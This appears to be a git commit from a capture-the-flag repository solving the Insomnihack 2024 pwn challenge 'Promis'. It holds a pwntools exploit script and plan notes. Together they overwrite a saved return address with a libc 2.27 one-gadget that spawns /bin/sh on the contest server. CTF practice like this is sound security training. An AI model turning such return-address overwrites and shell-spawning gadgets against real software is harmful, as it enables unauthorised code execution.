solved Promis

insomnihack24/pwn/promis/.gitignore

@@ -0,0 +1,6 @@
+ld-2.27.so
+libc-2.27.so
+libc.so.6
+gadgets.txt
+dump.txt
+promis_patched

insomnihack24/pwn/promis/exploit.py

@@ -0,0 +1,24 @@
+from pwn import *
+
+context.binary = ELF("./promis_patched_patched_patched")
+libc = ELF("./libc-2.27.so")
+ld = ELF("./ld-2.27.so")
+
+# p = process(context.binary.path)
+p = remote("promis.insomnihack.ch", 6666, fam="ipv4")
+
+pause()
+
+load_long = b"\x16"
+add = b"\x20"
+move_stack = b"\x28"
+weird_pop = b"\x36"
+set_val = b"\x56"
+
+p.sendlineafter(b"choice: ", b"1aaa")
+one_gadget_offset = 0x4f29e
+diff = one_gadget_offset - (libc.symbols["__libc_start_main"] + 231)
+code = move_stack + move_stack + weird_pop * 2 + set_val + p32(diff & 0xFFFFFFFFFFFFFFFF) + add + weird_pop * 5 + b"\x00"
+p.sendline(code)
+p.sendline(b"cat flag.txt")
+p.interactive()

insomnihack24/pwn/promis/notes.md

@@ -0,0 +1,13 @@
+Plan:
+
+1. Manipulate stack position to store libc address
+2. Transform address to point to one-gadget
+3. possibly zero rcx
+4. overwrite saved rip with one-gadget
+
+one-gadget for libc version at offset:
+0x4f29e execve("/bin/sh", rsp+0x40, environ)
+constraints:
+address rsp+0x50 is writable
+rsp & 0xf == 0
+rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv